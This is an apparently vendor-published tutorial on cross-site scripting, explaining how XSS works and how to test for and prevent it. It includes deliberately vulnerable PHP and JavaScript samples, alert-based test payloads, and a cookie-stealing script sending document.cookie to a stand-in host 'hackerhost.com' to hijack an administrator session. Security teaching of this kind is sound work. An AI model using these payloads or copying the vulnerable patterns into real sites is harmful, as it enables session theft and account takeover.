Cross Site Scripting (XSS) Attacks: Methodology and Prevention

XSS, or Cross Site Scripting, allows an attacker to execute code on the target website from a user's browser, often causing side effects such as data compromise, or the stealing of a user session. This can allow an attacker to impersonate a user to steal their details, or act in their place without consent. This article aims to be the most comprehensive cross site scripting resource on the internet. For corrections or additions, please contact us.

Article Contents

Overview of Cross Site Scripting & Description (A Basic Introduction - What is Cross Site Scripting?)

XSS is an attack using a browser side scripting language (usually JavaScript). The goal of the attacker is to make the malicious script appear to be from the site being attacked, so the user's browser can't tell the script being executed is not meant to be aprt of the site they are viewing. This is usually accomplished by an attacker by submitting specially crafted values into the target site's URL or web forms, or anywhere user generated content is displayed on the site. Users can fall into an XSS attack primarily in two ways:

  1. Tricking a user to click on a link, via having them view an email, or having them view another site under attacker control. This could be as benign as a forum where image tags are allowed, and an attacker posts something like <img src=badcode.html/>
  2. Creating an XSS attack and storing it on the target site, such as in a forum post, profile, or other method. This type of attack may also be self-propagating, creating an XSS worm.

XSS arises in a variety of ways. Code is planted on a site or in a link a user will be tricked into clicking, causing the XSS exploit to execute on the client's browser. Cross site scripting attempts can be notoriously hard to detect as they may take many forms, such as normal human readable text, or specially encoded characters used to trick attempts to detect it.

There are two broad attack surfaces which must be protected from XSS. The first is the users browser environment, and any JavaScript or other code which is executed by the browser, and the second is server side. Browser attacks are executed via variables like the http referrer (page the user was last on and clicked from), or other http type methods such as document.location or document.URL. These variables are supplied by the user's browser, and not the site the page was requested from, so the site has less control. If these values are written into the document at the user side, then the page may be modified with an XSS attack after it has been delivered to the user, as opposed to server-side XSS, where the attack is rendered by the server prior to being sent. In-Body attacks are less likely (in some cases impossible) to prevent with server-side input checking, and should be prevented directly in the client-side code instead.

Example of a simple client side vulnerability:

<SCRIPT>
var output=document.URL.indexOf("parameter=")+10;
document.write(document.URL.substring(output,document.URL.length));
</SCRIPT>

The goal of this script is to write some text from the URL onto the screen of the user by inserting it into the HTML using JavaScript. However, an attacker could use a link like this to steal the users session cookie, and steal the user session:

www.mysite.com/page.html?parameter=<script>alert(document.cookie)</script>

Server side XSS is more common, and can result from any data a user has control over being used by the server to generate content. XSS data is put into the HTML document directly by the server, and delivered to the end user with the XSS intact. Unlike the vulnerability described above, server-side XSS checks will be more likely to prevent this kind of attack.

Example of a simple In-URL XSS attack:

Imagine you have a form a user provides their address to. The form uses GET to send parameters, so the parameter is in the URL. You want to show the user their address so they can confirm it is correct, and you write something like this in PHP:

<?php
Echo "Please verify this address is correct: ".$_GET['address'];
?>

An attacker could create an XSS attack by tricking a user to click on a link formed like:

www.mysite.com/confirmaddress?address=<script>alert(document.cookie)</script>

The attacker has now stolen the session and can impersonate the user.

A Note on Sessions

Sessions are frequently the target of cross site scripting attacks, and are often used in the examples here. Web applications use sessions to track users who have logged in. This is done by setting a session cookie, using a unique string known as a session token, which is stored in a cookie on the user's browser and sent to the web server with every request the user makes. These cookies are the only mechanism used to authenticate users after they have entered a password, which means that if an attacker can steal an active session cookie, they can use it to perform actions on the site as the user, and the site won't be able to tell the difference easily. Since cookies are stored on the users machine, they can be accessed by client-side code, such as javaScript. Using XSS attacks, which execute in the browser, the script can take the cookie information and send it to an attacker for further use.

As an example, if I logged into my bank to manage my account, I would get an encrypted session cookie from the bank. Every time I performed an action on the site, my browser would send the cookie so the site coule tell it was me making the request. Because it is encrypted during transit, no one can view the cookie even if they share my network. However, if someone was able to embed a cross site script on the banks website, my browser would believe it was code from the bank. My browser would dutifully execute this code for me, sending my cookie off to the attacker. The attacker could now use this cookie to send a money transfer request to the bank as me, successfully stealing my money.

There are other uses for XSS than stealing session cookies, such as having users perform actions on the site they didn't intend. Since stealing a session cookie gives an attacker full control over the user's session which was stolen, I'll generally use that example in this article.

How to perform an XSS attack

XSS by it's nature is highly complex. Although the basic idea is simple - as I will show here in a moment - the breadth of attack vectors is massive. This is due to the many ways input and output filters can be escaped, and the many encoding types available on the web today. For an understanding of some of these, see this compilation of ways an XSS attack might be generated.

The simplest and most common way an XSS attack can be performed is through tricking a page to output data the user has entered. Consider the following example page in PHP, where the user enters some information in a form (via GET) and the application displays an error message when it doesn't meet their filter rules. Unfortunately, the error message contains the exact text entered by the user, which is what leads to XSS.

<?php
	if(isset($_GET['first_name']))
	{
		if(strlen($_GET['first_name']) > 8)
		{
			echo "Error: $_GET['first_name'] must be fewer than 8 characters";
		}
		else
			//process the name
	}
?>
<form action="get">
	First name: <input type="text" name="first_name" /><br />
	<input type="submit" value="Submit" />
</form>

Since this not do any output filtering on the GET parameter, it is vulnerable to cross site scripting. If I put in, for example, the following information as my first name, I would generate a pop up with my own session cookie:

<SCRIPT>alert(document.cookie)</SCRIPT>

Furthermore, since the parameter is passed via GET, it will be placed in the URL directly by the application, making it trivial to exploit. An attacker could create a URL which contains the attack directly:

<a href="http://www.safesite.com/myFirstName?first_name=<SCRIPT>alert(document.cookie)</SCRIPT>">This is a great site</a>

Forms are the most common attack surface, although there are many user controlled fields which can be modified by a dedicated attacker to create an XSS vulnerability. See the section on XSS location for a full understanding of data a user controls. Once it is found that one of these is not filtered properly, XSS becomes possible.

How to Test a Website for Cross Site Scripting Vulnerabilities

Testing for XSS is notoriously difficult due to the many varieties which can appear. Basic tests can be completed easily by a user with a browser and a few security tools, but due to the nature of XSS and character encodings, it is best to use an automated testing tool. See How to automatically test for XSS section below.

This article will run through a series of basic XSS checks you can perform in the browser to find potential vulnerabilities. As with most website security issues, the key to exploiting these vulnerabilities is in user supplied data. Begin by mapping the application, and making note of every place a user might control information. GET and POST parameters are often good to test, though these are also often the first areas developers implement filtering defenses. There are a variety of other attack surfaces to include in your audit, which are more often overlooked in terms of defense. Make note of pages which use, or might use, one of the following:

  • HTTP referrer
  • Window.location in Javascript
  • Document.referrer (Javascript)
  • Document. Location (Javascript)
  • document.URLUnencoded
  • Browser headers
  • information stored in a cookie

Note that this is the same list shown in how to prevent XSS attacks, as these vectors are less known than standard GET and POST fields. Each of these can be modified in some way by a user, so is untrusted.

Once you have a mapping of all the locations using some data controlled by you, it is time to start testing. I personally refer often to the XSS cheat sheet for a good range of test cases. The page contains a list of useful XSS test commands which will not cause harm to the targeted application, instead generating an alert box with 'XSS' to alert you that you have been successful.

A sample test is shown here against the most common parameter: the GET request. When the URL includes some parameter like title, it can be attempted to exploit directly in the browser:

Page.php?title=<SCRIPT>alert("attack")</SCRIPT>

For each of the attack vectors described above, you can test them in the following ways:

  • GET - modify the parameter to an XSS string
  • POST - insert the XSS string into a form field, or using an attack proxy
  • Headers - Use an add-in like Firefox Modify Headers and modify a header to an XSS string
  • Window.location - if using input in the new URL, try appending javascript
  • document.referrer - Modify the referrer (header) to an XSS string
  • document.URLUnencoded- The function returns the unencoded URL, so include a URL encoded XSS string in the URL to test this.
  • cookies - Inspect and modify the cookie values on your PC for testing. Insert XSS attacks in the cookie

For each method, every variant of the cheat sheet (and probably a few more!) should be attempted. This is because javascript is such a dynamic language and works encoded many different ways. Thus, automated testing is always preferred to manual testing.

 

Using XSS as an Attack Vector to Escalate Privileges

Escalating privileges using XSS is difficult, though not impossible. Most frequently, priveledges are escalated by performing XSS against an administrative user. To successfully escalate privileges, first an XSS vulnerability must be found, and an administrative user must fall prey to the XSS. The best method for escalating privileges will be stealing an administrator's session cookie and impersonating the user. To manage this, several key things must be in place:

  • XSS flaw identified
  • Remote server to collect session cookies and perform action as admin
  • A way to trick the admin into executing the XSS

Once you find a location to perform XSS using the above sections, a way to collect cookies must be implemented, usually via a remote server under attacker control. Then an XSS injection should be crafted similar to the following, which will create a fake image on the page to send the users cookie data to the server:

<SCRIPT>
Document.write('<img src=\'http://hackerhost.com/getcookie.php?cookie='+escape(document.cookie)+'\' height=1 width=1>');
</SCRIPT>

On the server side, the getcookie.php can now retrieve the session data from the cookie and then try to use the session to login as an admin. If it succeeds, it has now escalated privileges to an administrative user.

Getting an admin to execute the XSS is easy if the XSS can be stored permanently on the page, for instance if a forum post has XSS vulnerabilities. If the issue exists in POST or GET or other methods, then special attacks must be crafted, such as phishing, which are outside the scope of this article.

How to Automate Tests for Cross Site Scripting

XSS testing is part of many automated testing suites, including the Golem security scanner. Existing scanners will go through the full suite of tests mentioned in the manual testing for XSS section of this article. In order to automate this kind of testing tool yourself, the following methodology should be used:
  1. Crawl the application, capturing all GET and POST fields
  2. For each GET and POST, try every XSS variant which can be thought of
  3. For each page in the application, test all sections in the likely locations of XSS section.
  4. If any show an alert response, consider XSS having been found

Implementing your own testing solution is not recommended. It is generally better to leverage existing tools, or improve upon them as needed (in the case of open source). More information aout automated security testing and automated scanners can be found in automated website security testing article.

Likely Places to Find XSS Vulnerabilities

XSS is found in many website locations, not all of which are obvious. This lists all locations where XSS may be found:
  • HTTP referrer objects
  • The URL
  • GET parameters
  • POST parameters
  • Window.location
  • Document.referrer
  • document.location
  • document.URLUnencoded
  • All headers
  • Cookie data
  • Potentially data from your own database (if not properly validated on input)

How to Prevent Cross Site Scripting on Your Website

XSS can only be prevented by carefully sanitizing all input which is not known to be secure. Classes of input which is known NOT to be secure include:

  • HTTP referrer objects
  • The URL
  • GET parameters
  • POST parameters
  • Window.location
  • Document.referrer
  • document.location
  • document.URLUnencoded
  • All headers
  • Cookie data
  • Potentially data from your own database (if not properly validated on input)

Preventing XSS is an arduous job - all the values found via the above method must be checked for XSS attack vectors, which come in many forms. For instance, the same XSS code may come in a dozen different forms, based on how it is encoded and special characters placed inside.

If it is possible to whitelist data being input, then create a careful filter to whitelist the input.

Alternately, if the data is never output to a user's browser, then it cannot be used in an XSS attack. Be careful relying on this method, as other attacks, such as HTTP Response Header Splitting or SQL Injection attacks use similar untrusted data sources to perform other types of attacks.

The best defense is to escape all user input. The level of escaping and how it should be implemented will be dependent on the specific site requirements. For instance, some sites wish to allow users to add some HTML tags, while others have no need of such functionality, and can more aggressively scan.

For In-URL type attacks, input should be escaped on the server side, in server code. Some common functions in PHP to escape strings related to XSS attack vectors (Should be used on both user input, and before outputting to the page):

  • Htmlspecialchars - converts HTML characters to non-executing types

For In-Body type attacks, there is not a fully comprehensive solution. Some options include using the ESAPI escape library like so:

ESAPI.encoder().encodeForJavaScript(user_input); 

This library can also be used to escape CSS in a similar way.

The functions listed here will not stop 100% of XSS attacks, but will go a fair amount of the way. It is good to also do regular expression checking against expected input. For instance, when expecting Zip Code data, check for 5 integer values and discard everything else. Only a comprehensive strategy will eliminate the majority of XSS vectors.

Additional Resources on XSS

Want to Protect Your Site from Cross Site Scripting?

Golem Technologies includes numerous different XSS scans to help you find even obscure vulnerabilities, and we are constantly adding more. See how the Golem Scan can help your business today.